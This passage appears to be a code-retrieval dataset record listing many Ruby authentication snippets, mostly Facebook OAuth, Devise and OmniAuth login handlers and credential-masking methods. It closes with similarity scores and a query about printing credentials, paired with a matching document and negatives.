||\n result.size != 2 ||\n !(result[0].is_a?(TrueClass) || result[0].is_a?(FalseClass)) ||\n !result[1].is_a?(String)\n fail Dav::Exception, 'The authentication backend did not return a correct value from the check method.'\n end\n\n if result[0]\n @current_principal = result[1]\n # Exit early\n return nil\n end\n reasons << result[1]\n end\n\n # If we got here, it means that no authentication backend was\n # successful in authenticating the user.\n @current_principal = nil\n\n @backends.each do |backend|\n backend.challenge(request, response)\n end\n fail Exception::NotAuthenticated, reasons.join(', ')\n end", "def _would_login?(creds)\n return unless creds\n\n if c = @_callback\n c.call(creds)\n elsif _model.respond_to?(:authenticate)\n _model.authenticate(creds)\n else\n Log.warn(\n \"Helper::User has no callback and there is no %p::authenticate\" \\\n % _model\n )\n\n nil\n end\n end", "def oauth_authentication; end", "def authenticating_with_facebook?\n if controller.respond_to?(:controller) && controller.controller.respond_to?(:set_facebook_session)\n controller.set_facebook_session\n !authenticating_with_unauthorized_record? && controller.facebook_session?\n end\n end", "def authenticating_with_facebook?\n !skip_facebook_authentication && !authenticating_with_unauthorized_record? && attempted_record.nil? && facebook_session?\n end", "def callback_phase\n error = request.params['error_reason'] || request.params['error']\n fail(OAuthError, error) if error\n @session_state = request.params['session_state']\n @id_token = request.params['id_token']\n @code = request.params['code']\n @claims, @header = validate_and_parse_id_token(@id_token)\n # validate_chash(@code, @claims, @header)\n super\n end", "def facebook\n social_login(request.env['omniauth.auth'], current_user,\"Facebook\")\n end", "def facebook\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"], current_user)\n\n if @user.persisted?\n @user\n sign_in_and_redirect @user, :event => :authentication #this will throw if @user is not activated\n set_flash_message(:notice, :success, :kind => \"Facebook\") if is_navigational_format?\n else\n request.env[\"omniauth.auth\"]\n session[\"devise.facebook_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url\n end\n end", "def after_token_authentication\n end", "def after_token_authentication\n end", "def facebook_authenticatable\n\t\t\troutes.with_options(:controller => 'facebook_auth', :name_prefix => nil) do |auth|\n\t auth.send(:\"new_#{mapping.name}_session\", mapping.path_names[:sign_in], :action => 'create', :conditions => {:method => :get})\n\t # auth.send(:\"#{mapping.name}_session\", mapping.path_names[:sign_in], :action => 'create', :conditions => {:method => :post})\n\t # auth.send(:\"destroy_#{mapping.name}_session\", mapping.path_names[:sign_out], :action => 'destroy', :conditions => { :method => :get })\n\t\t\tend\n\t\tend", "def authenticate_user!\n redirect_to login_path(:facebook) unless session[:user_id]\n end", "def request_login\n _store_request_information 'login'\n\n redirect_to user_omniauth_authorize_path(params[:provider])\n end", "def ensure_facebook_connect\n set_facebook_session()\n if facebook_session && facebook_session.user.id\n @user = User.find_or_create_by_facebook_id(facebook_session.user.id)\n else\n redirect_to :controller=>:account, :action=>:login, :next_url=>request.request_uri\n end\n end", "def facebook_authentication\n begin\n data = 0\n user = WebUser.find_by_email(params[:email])\n \n if user.nil?\n data = register(params[:provider], params[:uid], params[:name], params[:email], params[:oauth_token], params[:gender], params[:birthday], params[:nickname])\n else\n data = user\n check_pending_friends(user['id'], user['bv_player_id'], user['email'])\n end\n rescue\n data = 1\n end\n \n render :json => data\n end", "def authenticating_with_facebook?\n !authenticating_with_unauthorized_record? && self.facebook_api_keys_provided? && self.raw_cookie\n end", "def connection_status_mcnet_login; end", "def active_for_authentication?; end", "def active_for_authentication?; end", "def password_required?\n super unless has_facebook_auth\n end", "def register_verify_callback(connection)\n connection.verify_callback = self\n end", "def authenticate!\n if in_flow?\n continue_flow!\n else\n begin_flow!\n end\n end", "def connect\n raise ArgumentError unless (params[:fname] == '_opener')\n raise ArgumentError unless connect = ActiveSupport::JSON.decode(params[:session])\n\n @user = User.find_by_facebook_uid(connect['uid'])\n\n if @user.nil?\n # create a new user for the Facebook User if not present\n @user = User.new\n @user.facebook_uid = connect['uid']\n\n # XXX this is crap: login, country and email should be fetched from the facebook. Why?\n # because: login clashes could occur (if an user names itself fb_123456), the \"unknown\"\n # country is BAD design, because it's a corner case to cope with in views, and the fake\n # email is USELESS to send mewsic e-mail notifications to the user.\n #\n @user.login = \"fb_#{@user.facebook_uid}\" # XXX\n @user.country = \"unknown\" # XXX\n @user.email = \"#{@user.facebook_uid}@users.facebook.com\" # XXX\n\n @user.password = @user.password_confirmation = rand(2**32).to_s\n @user.save!\n end\n\n session[:fb_connect] = true\n self.current_user = @user\n\n # render the cross-domain communication channel\n render :layout => false\n\n rescue ActiveRecord::ActiveRecordError\n debugger\n head :forbidden\n\n rescue ArgumentError\n head :bad_request\n end", "def callback_call\n setup_phase\n log :debug, 'Callback phase initiated.'\n @env['omniauth.origin'] = session.delete('omniauth.origin')\n @env['omniauth.origin'] = nil if env['omniauth.origin'] == ''\n @env['omniauth.params'] = session.delete('omniauth.params') || {}\n OmniAuth.config.before_callback_phase.call(@env) if OmniAuth.config.before_callback_phase\n callback_phase\n end", "def before_create_user\n logger.debug(\"on before creare user\")\n #Generate a unique key\n if facebook_user?\n self.active = 1 \n else\n activation_key_string = self.salt+self.email+self.hashed_password\n self.activation_key =Digest::SHA1.hexdigest(activation_key_string)\n self.active = 0\n end\n self.admin = 0 \n self.handle=generate_unique_handle\n \n end", "def before_request\n self.login if require_login? && !@authenticating\n end", "def connect\n succeed # Triggers all callbacks for class\n end", "def after_crowd_authentication\n end", "def facebook_authorization_callback\n begin\n #Fetch the 'code' query parameter from the callback\n code = params[:code]\n\n #Get token object, passing in the authorization code from the previous step\n logger.fatal \"Redirect to facebook for getting token: #{code} , #{Settings.facebook.REDIRECT_URI}\"\n token = facebook_client.auth_code.get_token(code, {:redirect_uri => Settings.facebook.REDIRECT_URI, :parse => :facebook})\n\n api_endpoint = \"#{Settings.api_endpoints.Login}\"\n response = Typhoeus.post(api_endpoint, body: {\n userId: current_user_id,\n loginType: 'FACEBOOK',\n accessToken: token.token\n })\n\n if response.success? && !api_contains_error(\"Login\", response)\n add_access_token_api_response = JSON.parse(response.response_body)\n add_access_token_api_response = add_access_token_api_response[\"LoginResult\"]\n if add_access_token_api_response[\"isUserLogedIn\"] == true\n session[:facebook_token] = token.token\n end\n end\n\n redirect_to user_path(current_user_id)\n rescue OAuth2::Error => e\n logger.fatal e.message\n logger.fatal e.backtrace.inspect\n redirect_to Settings.facebook_auth_url\n end\n end", "def valid_for_authentication?; end", "def valid_for_authentication?; end", "def connect\n self.current_user = find_verified_user # define current_user property once user sucessfully connected\n end", "def check_auth\n unless params[:code]\n\t redirect_to(FACEBOOK_URL) and return\n end\n end", "def signon\n @retain_user_connection_parameters.signon\n end", "def user_verification?; end", "def login_at(provider, args = {})\n @provider = Config.send(provider)\n if @provider.has_callback?\n redirect_to @provider.login_url(params,session)\n else\n #@provider.login(args)\n end\n end", "def user_authentication\n end", "def callback\n rpx_auth\n after_auth(params[:on_complete_url])\n end", "def authenticate!\n\n # mapping comes from devise base class, \"mapping.to\" is the class of the model\n # being used for authentication, typically the class \"User\". This is set by using\n # the `devise` class method in that model\n #byebug\n klass = mapping.to\n\n if request.headers['X-HC-FB-AUTH'].present?\n # the returned user object will be saved and serialised into the session\n\n decoded = Base64.decode64(request.headers['X-HC-FB-AUTH'])\n user_and_token = decoded.split(':')\n\n users = klass.includes(:identities).where(socify_identities: { uid: user_and_token[0], token: user_and_token[1], provider: \"facebook\"})\n begin\n if users.size == 1\n u = users.first\n identity = u.identities.find_by!(uid: user_and_token[0], token: user_and_token[1], provider: \"facebook\")\n if !identity.expires_at || (identity.expires_at && identity.expires_at > Time.now)\n success! u\n else\n fail! \"token expired\"\n end\n else\n fail! \"invalid uid and/or token\"\n end\n rescue\n fail!\n end\n end\n\n # if we wanted to stop other strategies from authenticating the user\n end", "def verify_callback; end", "def verify_callback; end", "def require_login\n end", "def facebook_connect_user?\n facebook_user? and password.blank?\n end", "def facebook_callback\n hash = request.env[\"omniauth.auth\"]\n if hash\n email = hash[\"info\"][\"email\"]\n username = hash[\"info\"][\"nickname\"]\n gender = hash[\"extra\"][\"raw_info\"][\"gender\"]\n provider = hash[\"provider\"]\n gid = hash[\"uid\"]\n token = hash[\"credentials\"][\"token\"]\n auth = Authentication.find_by_provider_and_gid(provider, gid)\n if !gamer_signed_in?\n if auth\n if auth.gamer\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, auth.gamer)\n else\n flash[:error] = t(:no_account)\n redirect_to \"/gamers/sign_up\"\n end\n else\n gamer = Gamer.find_by_email(email)\n if gamer\n Authentication.create_with_omniauth(provider, gid,\n token, nil, email, gamer.id)\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, gamer)\n else\n session[\"devise.token\"] = token\n session[\"devise.gid\"] = gid\n session[\"devise.token_secret\"] = nil\n flash[:info] = t(:continue_reg_fb)\n redirect_to controller: \"social_registrations\",\n action: \"new_social\", email: email, username: username,\n gender: gender, provider: provider\n end\n end\n else\n if !auth\n Authentication.create_with_omniauth(provider,gid,\n token, nil, email, current_gamer.id)\n flash[:success] = t(:logged_in_to_fb)\n redirect_to \"/gamers/edit\"\n else\n Authentication.update_token(current_gamer.id, provider, token)\n redirect_to \"/games/post_facebook\"\n end\n end\n else\n flash[:error] = t(:oops_error_fb)\n redirect_to root_url\n end\n end", "def authorize_application\n # init auth state and oauth url..enter wormhole\n oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, GIFT_AUTH_CALLBACK)\n encoded_auth_state = create_auth_state\n oauth_url = create_oauth_url(oauth.oauth_callback_url, encoded_auth_state)\n redirect_to(:action => \"exit_portal\", :url => oauth_url) and return\n end", "def signup_with_facebook\n @status, @msg, @data = UserValidator.signup_with_facebook(params)\n @status, @msg, @data = UserManager.signup_with_facebook(params) if @status\n end", "def connect\n self.current_user = find_verified_user #efine the current_user property once a user successfully connected. Only then the identified_by line before will actually work.\n end", "def on_after_oauth2_connect(oauth2_user_attributes)\n \n if self.respond_to?(:after_oauth2_auto_create)\n self.send(:after_oauth2_auto_create, oauth2_user_attributes) \n end\n on_after_oauth2_connect\n end", "def fbauthorize\n redirect_to fb_auth_login_url.to_s\n end", "def logging_in\n end", "def request_phase\n p session['omniauth.state']\n OmniAuth::Strategies::Dailycred::AUTH_PARAMS.each do |param|\n val = session['omniauth.params'][param]\n if val && !val.empty?\n options[:authorize_params] ||= {}\n options[:authorize_params].merge!(param => val)\n end\n end\n old_request_phase\n end", "def authenticating_with_facebook?\n !authenticating_with_unauthorized_record? &&\n !self.class.facebook_api_key.blank? &&\n !self.class.facebook_secret_key.blank?\n end", "def like\n login_to_facebook\n bob.like\nend", "def login_required?\n true\n end", "def needs_login?() false end", "def connect?\n if !!@connect\n puts \"okai\"\n @frame.destroy()\n else\n print_error_message\n puts \"wrong password or login\"\n return\n end\n end", "def user_verification; end", "def before_capturable_sign_in(capture_data, params)\n end", "def facebook\n if request.env['omniauth.params']['role'] == \"user\"\n action = request.env['omniauth.params'] && request.env['omniauth.params']['action'] ? request.env['omniauth.params']['action'] : nil\n role = request.env['omniauth.params']['role']\n unless ['signin', 'signup', 'connect'].include? action\n raise 'wrong parameters for facebook auth'\n end\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"])\n @status = 'failed'\n @error = nil\n case action\n when 'signup'\n if @user\n @error = \"Compte déja associé avec un autre utilisateur\"\n elsif current_user\n @error = 'Vous êtes déja connecté'\n else\n @user = User.create_for_facebook_oauth(request.env[\"omniauth.auth\"], role)\n sign_in @user\n redirect_to root_path\n end\n when 'signin'\n if !@user\n @error = 'Ce compte ne correspond a aucun utilisateur'\n elsif current_user\n @error = 'Vous êtes déja connecté'\n else\n @user.update_for_facebook_oauth(request.env[\"omniauth.auth\"])\n sign_in @user\n redirect_to root_path\n end\n when 'connect'\n if @user\n if current_user && @user.id == current_user.id\n @error = 'Ce compte vous est déja associé'\n else\n @error = 'Ce compte est déja associé avec un autre utilisateur'\n end\n elsif !current_user || !current_user.id\n @error = 'Vous n\\'êtes pas connecté'\n else\n @user = current_user\n @user.connect_for_facebook_oauth(request.env[\"omniauth.auth\"])\n redirect_to user_profile\n end\n end\n if @error\n case action\n when 'signup'\n redirect_to user_signup_path(:error => @error)\n when 'signin'\n redirect_to user_signin_path(:error => @error)\n when 'connect'\n redirect_to edit_user_registration_path(:error => @error)\n end\n end\n end\n end", "def Managerfb\n session[:check] = 1\n redirect_to '/auth/facebook'\n end", "def authenticate_once_state\n super\n end", "def before_state(state)\n end" ]
[ "0.66003996", "0.65749615", "0.6530368", "0.63795835", "0.626102", "0.6228564", "0.62167746", "0.618956", "0.6158801", "0.6150305", "0.61255485", "0.6123525", "0.61230356", "0.6061187", "0.6061187", "0.60608804", "0.601434", "0.601434", "0.6007941", "0.5977156", "0.5973274", "0.5908132", "0.58932674", "0.5887191", "0.58659506", "0.5845406", "0.5818749", "0.5781781", "0.57742095", "0.57720315", "0.57564384", "0.57001185", "0.5689742", "0.56792456", "0.56660557", "0.5610484", "0.5598913", "0.5586438", "0.55326843", "0.5525507", "0.55117816", "0.5498757", "0.5496682", "0.5491902", "0.5480781", "0.54669803", "0.54617864", "0.54617864", "0.54527575", "0.5452258", "0.544921", "0.5448707", "0.5446266", "0.5445456", "0.54315835", "0.54192936", "0.54192936", "0.54149526", "0.54141027", "0.5413786", "0.54088837", "0.5402459", "0.54023427", "0.5401268", "0.53765506", "0.5376499", "0.5374177", "0.5363211", "0.5363211", "0.53501666", "0.5312515", "0.5300717", "0.529587", "0.52845395", "0.5274787", "0.52709496", "0.5256129", "0.5256084", "0.5256084", "0.52489436", "0.5244065", "0.52436846", "0.52434534", "0.52393675", "0.5232229", "0.5230734", "0.52299416", "0.5225884", "0.52218485", "0.52102757", "0.52102274", "0.52058315", "0.52057886", "0.5199847", "0.51949304", "0.5183887", "0.51815736", "0.51797485", "0.51754856", "0.517539" ]
0.6172037
8
For printing out meaningful credentials
def credentials if self.authenticating_with_facebook? { :facebook_cookie => self.raw_cookie } else super end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def credentials\n return nil if username.nil? || password.nil?\n \"#{username}:#{password}\"\n end", "def credentials_show\n %x(cat ros/services/iam/tmp/#{Settings.platform.environment.partition_name}/postman/222_222_222-Admin_2.json)\n end", "def inspect\n inspected = super\n\n # mask password\n inspected = inspected.gsub! @password, \"*******\" if @password\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*36}#{@access_token[36..-1]}\"\n end\n if @client_secret\n inspected = inspected.gsub! @client_secret, \"#{'*'*36}#{@client_secret[36..-1]}\"\n end\n\n inspected\n end", "def inspect\n inspected = super\n\n # mask password\n inspected = inspected.gsub! @password, \"*******\" if @password\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*36}#{@access_token[36..-1]}\"\n end\n if @client_secret\n inspected = inspected.gsub! @client_secret, \"#{'*'*36}#{@client_secret[36..-1]}\"\n end\n\n inspected\n end", "def inspect\n inspected = super\n\n # mask password\n inspected = inspected.gsub! @password, \"*******\" if @password\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*36}#{@access_token[36..-1]}\"\n end\n\n inspected\n end", "def client_credentials\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end", "def credentials; end", "def credentials; end", "def credentials; end", "def credentials; end", "def credentials; end", "def inspect\n inspected = super\n inspected.gsub! @password, '*******' if @password\n end", "def formatted_login\n [ZerigoDNS.config.user, ZerigoDNS.config.api_key].join(':')\n end", "def inspect\n variables = instance_variables.reject { |v| v == :@password }.map { |v| \" #{v}=#{instance_variable_get(v)}\" }\n\n ::Kernel.instance_method(:to_s).bind(self).call.sub('>', \"#{variables.join(',')}>\")\n end", "def authentication_string\n pwd = escape(@account.password)\n user = escape(@account.username)\n sig = escape(@account.signature) \n \"PWD=#{pwd}&USER=#{user}&SIGNATURE=#{sig}\"\n end", "def process_auth\n return if username.empty? || password.empty?\n \"#{username}:#{password}\"\n end", "def inspect\n inspected = super\n\n inspected.gsub! @password, \"*******\" if @password\n inspected.gsub! @token, \"*******\" if @token\n\n inspected\n end", "def print_account\n # Account\n if valid_file?(@heroku_credentials.file_path) && valid_file?(@ssh_identity.public_file) && valid_file?(@ssh_identity.private_file)\n shell.say \"Current Account Settings:\"\n shell.say \" - Login: #{@heroku_credentials.login}\" \n shell.say \" - Password: #{'*' * @heroku_credentials.password.size}\"\n shell.say \" - Credentials: #{@heroku_credentials.file_path}\"\n shell.say \" - SSH ID (private): #{@ssh_identity.private_file}\\n\"\n shell.say \" - SSH ID (public): #{@ssh_identity.public_file}\"\n else\n shell.say \"ERROR: Heroku account credentials and/or SSH identity not found!\"\n end\n\n # Project\n if File.exists? @git_config_file\n shell.say \"\\nCurrent Project Settings:\"\n shell.say \" - Mode: #{@settings[:mode]}\"\n shell.say \" - App: #{application}\"\n end\n end", "def print()\n body = \"--- AuthenticationStart ---\\n\" +\n \"[Action] #{xlate_action}\\n\" + \n \"[Privilege Level] #{@priv_lvl}\\n\" + \n \"[Authentication Type] #{xlate_authen_type}\\n\" + \n \"[Service] #{xlate_service}\\n\" + \n \"[User Length] #{@user_len}\\n\" + \n \"[Port Length] #{@port_len}\\n\" + \n \"[Remote Addr Length] #{@rem_addr_len}\\n\" + \n \"[Data Length] #{@data_len}\"\n\n body << \"\\n[User] #{@user.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@user)\n body << \"\\n[Port] #{@port.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@port)\n body << \"\\n[Remote Addr] #{@rem_addr.gsub(/\\n/,\"\\n\" + \" \" * 14)}\" if (@rem_addr)\n body << \"\\n[Data] #{@data.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@data)\n return(body)\n end", "def print_hash_values hash\n puts hash unless hash.is_a? Hash\n hash.each do |k, v|\n if v.is_a? Hash\n puts \"User:\".yellow + \" #{k}\"\n print_hash_values v\n else\n if k == 'password'\n puts \"#{k.yellow}: ** HIDDEN **\"\n else\n puts \"#{k.yellow}: #{v}\\n\" unless v.nil?\n end\n end\n end\n end", "def inspect\n str = instance_variables.map do |iv|\n if iv == '@password'\n \"#{iv}=[FILTERED]\"\n else\n \"#{iv}=#{instance_variable_get(iv).inspect}\"\n end\n end.join(', ')\n\n \"#<#{self.class}:0x#{(object_id * 2).to_s(16)} #{str}>\"\n end", "def credentials\n { :user => @user, :password => @password }\n end", "def list_current_user\n abort \"You have no current user set!\".yellow unless current_user_exists?\n puts \"\\nCurrent User\"\n config.current_user.each do |k,v|\n if k == 'password'\n puts \"#{k.yellow}: ** HIDDEN **\".yellow\n else\n puts \"#{k.yellow}: #{v}\".yellow unless v.nil?\n end\n end\n end", "def credential; end", "def credential; end", "def authentication_prompt( )\n puts \"Username:\"\n username = $stdin.gets.chomp\n puts \"Password:\"\n password = $stdin.gets.chomp\n raise NotAuthorized unless username.match(/\\S/)\n raise NotAuthorized unless password.match(/\\S/)\n return {:u => username, :p => password}\n end", "def inspect\n inspected = super\n\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*8}#{@access_token[8..-1]}\"\n end\n if @consumer_secret\n inspected = inspected.gsub! @consumer_secret, \"#{'*'*8}#{@consumer_secret[8..-1]}\"\n end\n\n inspected\n end", "def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend", "def to_s\n login\n end", "def generate_and_print_password\n password = Simp::Cli::Utils.generate_password\n logger.say ('~'*80).green + \"\\n\"\n logger.say 'NOTE: '.green.bold + \" The generated password is: \\n\\n\"\n logger.say ' ' + password.yellow.bold + \"\\n\\n\"\n logger.say ' >>>> Please remember this password! <<<<'.bold\n logger.say ' It will ' + '**NOT**'.bold + ' be written to the log or hieradata.'\n logger.say ('~'*80).green + \"\\n\"\n logger.say '*** Press enter to continue ***'.cyan.bold.blink\n ask ''\n password\n end", "def credential_options\n %w[username password].map do |option|\n next if send(option).nil? or send(option).empty?\n \"--#{option}='#{send(option)}'\"\n end.compact.join(\"\\s\")\n end", "def credentials\n { :username => @email, :password => @password }\n end", "def credentials\n auth_hash['credentials']\n end", "def credential_authentication_inverso(h)\n [credential(h), authentication(h), inverso(h)].compact.join(\" \")\n end", "def print_details\n puts '=================: User-details: ============'\n puts \"Email-address: #{email}\"\n puts \"Domain name: #{domain}\"\n puts \"Domain owner: #{username}\"\n @trueuser = `grep -w \\^#{username} /etc/trueuserowners|cut -d\\: -f2|uniq`.chomp\n puts 'True owner: ' + `grep -w #{@trueuser}$ /etc/trueuserdomains|uniq` if @trueuser != 'root'\n puts '============================================'\n end", "def credentials\n {\n \"username\" => self.username,\n \"password\" => self.password\n }\n end", "def credential\n authorizer.get_credentials('default')\n end", "def user_credentials\n keys = %w[nome cognome email password]\n user_params = select_params(params, keys)\n user_params\n end", "def to_show_login\n\t\t# Password strategy\t\t\n\t\tkey = OpenSSL::PKey::RSA.new(1024)\n\t\t@public_modulus = key.public_key.n.to_s(16)\n\t\t@public_exponent = key.public_key.e.to_s(16)\n\t\tsession[:key] = key.to_pem\n\tend", "def setup_credentials\n\n cmd = @config[:path] + @command_line_tool + \" \" + @@login_command\n\n Open3.popen3( cmd ) { |input, output, error|\n input.puts @config[:url]\n input.puts @config[:user]\n input.puts @config[:password]\n input.close\n } \n\n end", "def credential_options\n %w[username password].map do |option|\n next if send(option).to_s.empty?\n \"--#{option}='#{send(option)}'\"\n end.compact.join(' ')\n end", "def print_account(account)\n puts \"Email: #{account.email}\"\n puts \"Username: #{account.username}\"\n puts \"First name: #{account.given_name}\"\n puts \"Last name: #{account.surname}\"\n puts \"Status: #{account.status}\"\nend", "def basic_auth\n \"#{username}:#{access_token}\"\n end", "def ask_credentials\n self.email = cli.prompt \"Your Pivotal Tracker email: \"\n self.password = cli.prompt_secret \"Your Pivotal Tracker password (never stored): \"\n end", "def username\n credentials.first\n end", "def password\n [@password, @security_token].join('')\n end", "def to_s\n %[#<password safe>]\n end", "def to_s\n %[#<password safe>]\n end", "def configured_credentials\n running_config.scan(/(username.*?)$/m).flatten.map(&:strip!)\n end", "def to_s\n @passwd.name\n end", "def use_demo_credentials!\n self.username = 'demo'\n self.password = 'password'\n end", "def credentials\n params.values_at('username', 'password')\n end", "def inspect\n str = \"\\#<#{self.class}: \" \\\n \"keep_alive=#{keep_alive}\"\n str += ', clean' if clean_session\n str += \", client_id='#{client_id}'\"\n str += \", username='#{username}'\" unless username.nil?\n str += ', password=...' unless password.nil?\n str + '>'\n end", "def login\n open(@credentials_file, 'r').readlines.first.strip if valid_file?(@credentials_file)\n end", "def read_credentials\n File.readlines(USERPASS_FILE).each do |line|\n user, pass = line.split\n pass = \"\" if pass == '(none)'\n @crends << [\"#{user}\", pass]\n end\n end", "def to_s\n \"#{@name} - GPA: #{@gpa} - Redacted Password: #{'*' * @password.size}\"\n end", "def to_s\n login\n end", "def login\n # check if file credential exists\n if File.file?(@@credentials_file)\n puts 'Credentials file found!'.bold\n unless yes?(\"Overwrite #{@@credentials_file}? |no|\".bold.yellow)\n puts \"Aborted.\".red.bold\n exit\n end\n end\n\n # Ask for username and password, mask the password and make it\n # green if it's the correct password, red if the access was denied.\n # Aborts if the password is empty.\n puts 'Write your username and password for ' + 'RubyGems.org'.yellow.bold\n username = ask('Username:'.yellow.bold)\n password = ask('Password:'.yellow.bold, echo: false)\n (puts \"Aborted.\".red.bold; exit) if password.empty?\n\n # fakes a masked password as long as the username,\n # for style purposes only.\n masked_password = '*' * username.length\n print masked_password unless options[:show_password]\n\n begin\n Tmg.write_credentials(username, password)\n rescue RuntimeError\n puts \"\\b\" * masked_password.length + masked_password.red.bold\n puts 'Access Denied.'.red.bold\n exit\n else\n puts \"\\b\" * masked_password.length + masked_password.green.bold\n puts \"Credentials written to #{@@credentials_file}\".green.bold\n end\n end", "def vnc_passwd\n context.fetch(:vnc_passwd, \"vnc.passwd\").to_s\n end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def read_creds\n\tif $creds_array[1].nil?\n\t\tprint \"Enter credentials in DOMAIN\\\\username%password format: \"\n\t\t$creds_array.push gets.chomp\n\t\t$user = $creds_array[$creds_array.length - 1]\n\telse\n\t\tputs \"[?]\".blue + \"Select credentials: \"\n\t\t$creds_array.each_with_index do |value, index|\n\t\t\tputs \"#{index} : #{value}\"\n\t\tend\n\t\tprint \"[?]\".blue + \"Which credentials should we use (default: 0)? \"\n\t\tcreds = gets.to_i\n\t\tif creds == 0 or creds.nil?\n\t\t\tprint \"Enter credentials in DOMAIN\\\\username%password format: \"\n\t\t\t$creds_array.push gets.chomp\n\t\t\t$user = $creds_array[$creds_array.length - 1]\n\t\telse\n\t\t\t$user = $creds_array[creds]\n\t\tend\n\tend\nend", "def form_credentials\n {\n username: @username,\n password: @password,\n }\n end", "def password\n Shellwords.shellescape(SabreDAVExport.password)\n end", "def get_password host,username\n print \"Password for \"+username+\"@\"+host+\": \"\n system \"stty -echo\"\n pw = gets.delete(\"\\n\")\n system \"stty echo\"\n puts\n pw\n end", "def basic_credentials\n {\n 'x_login' => @x_login,\n 'x_tran_key' => @x_trans_key,\n 'x_delim_char' => @x_delim_char,\n 'x_test_request' => @x_test_request,\n 'x_response_format' => @x_response_format\n }\n end", "def credentials\n config.credentials.credentials\n end", "def display_account_details\n puts \"\"\n puts \"Account Details\"\n puts \"-------------------------\"\n puts \"Rank: #{rank}\"\n puts \"Name: #{name}\"\n puts \"Handle: @#{handle}\"\n puts \"Followers: #{followers}\"\n puts \"-------------------------\"\n end", "def authentication\n auth = \"\"\n auth << \"--username #{variable(:scm_username)} \" if variable(:scm_username)\n auth << \"--password #{variable(:scm_password)} \" if variable(:scm_password)\n auth << \"--no-auth-cache\" if !auth.empty?\n auth\n end", "def credentials\n @credentials ||= {}\n end", "def password\n credentials.last\n end", "def fill_in_credentials\n hide_soft_keyboard\n clear_text_in(\"#{WEB_VIEW} xpath:'#{USER_NAME_FORM_XPATH}'\")\n enter_text(\"#{WEB_VIEW} xpath:'#{USER_NAME_FORM_XPATH}'\", CREDENTIALS[:username])\n hide_soft_keyboard\n\n clear_text_in(\"#{WEB_VIEW} xpath:'#{PASSWORD_FORM_XPATH}'\")\n enter_text(\"#{WEB_VIEW} xpath:'#{PASSWORD_FORM_XPATH}'\", CREDENTIALS[:password])\n hide_soft_keyboard\n end", "def getpassword()\r\n return getvalue(SVTags::PASSWORD)\r\n end", "def print_storage_info()\n # cloning the database configuration\n storage_info = @db_config.clone()\n\n # hiding database password\n storage_info['password'] = 'PRIVATE'\n\n # printing information\n storage_info.each{ |key| puts(\"#{key}#{storage_info[key] }\") }\n end", "def ask_credentials\n self.username = cli.prompt \"Your GitHub username: \"\n self.password = cli.prompt_secret \"Your GitHub password (never stored): \"\n end", "def credential\n authorizer.get_credentials('default')\n end", "def print()\n body = \"--- AccountingRequest ---\\n\" +\n \"[Flags] #{xlate_flags}\\n\" +\n \"[Authentication Method] #{xlate_authen_method}\\n\" +\n \"[Privilege Level] #{@priv_lvl}\\n\" +\n \"[Authentication Type] #{xlate_authen_type}\\n\" +\n \"[Authentication Service] #{xlate_service}\\n\" +\n \"[User Length] #{@user_len}\\n\" +\n \"[Port Length] #{@port_len}\\n\" +\n \"[Remote Address Length] #{@rem_addr_len}\\n\" + \n \"[Argument Count] #{@arg_cnt}\"\n \n body << \"\\n[Argument Length(s)] #{@arg_lens.join(',')}\" if (@arg_lens && @arg_lens.length != 0)\n body << \"\\n[User] #{@user.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@user)\n body << \"\\n[Port] #{@port.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@port)\n body << \"\\n[Remote Address] #{@rem_addr.gsub(/\\n/,\"\\n\" + \" \" * 17)}\" if (@rem_addr)\n body << \"\\n[Argument(s)] #{@args.join(',')}\" if (@args && @args.length != 0)\n\n return(body)\n end", "def base_credential; end", "def basic_auth_string\n \"Basic \" + Base64.encode64(\"#{@admin_username}:#{@admin_password}\").rstrip\n end", "def password\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end", "def credentials(authorization, request); end", "def send_credentials\n dputs __method__.to_s\n login_req = setup_http_request($ident, @cookie, {:arg => [$CONF['user'], CGI.escape($CONF['pass'])]})\n res = @http.request(login_req)\n get_cookie(res)\n end", "def password\n conf['api']['password']\n end", "def creds\n Hash[\"customer_id\" => customer_id, \"customer_secret\" => customer_secret]\n end", "def challenge\n 'Basic realm=\"%s\"' % realm\n end", "def credentials\n []\n end", "def credentials\n []\n end", "def creds\n\t\tRails.application.secrets.oa_cred[provider]\n\tend", "def login_info\n # Uncomment and replace with your details if you don't use shell-fm.\n #return ['username', 'md5 of password']\n\n return shellfm_login_info\nend", "def authorized_by_to_s\n unless authorized_by.nil?\n r = authorized_by.name\n r = \"#{r} via #{api_key.name}\" unless api_key.nil?\n else\n r = ' - '\n r = \"Unknown via #{api_key.name}\" unless api_key.nil?\n end\n r\n end", "def session_passwd\n super\n end", "def session_passwd\n super\n end", "def encode_credentials(username, password)\n \"\"\n end", "def get_credentials\n Rails.logger.info(\"get_credentials\")\n if request.params['message']\n if request.params['message'] == \"\"\n error = \"Unknown Error\"\n else\n begin\n error = File.read(@error_pages[request.params['message']])\n rescue Exception => e\n error = \"Error: \" + request.params['message']\n end\n end\n end\n aem = AuthenticationErrorMessage.new(error)\n html = ERB.new(File.read(@login_page)) # Read every time - allows for changes while running\n res = html.result(aem.get_binding)\n Rack::Response.new(res).finish\n end", "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n 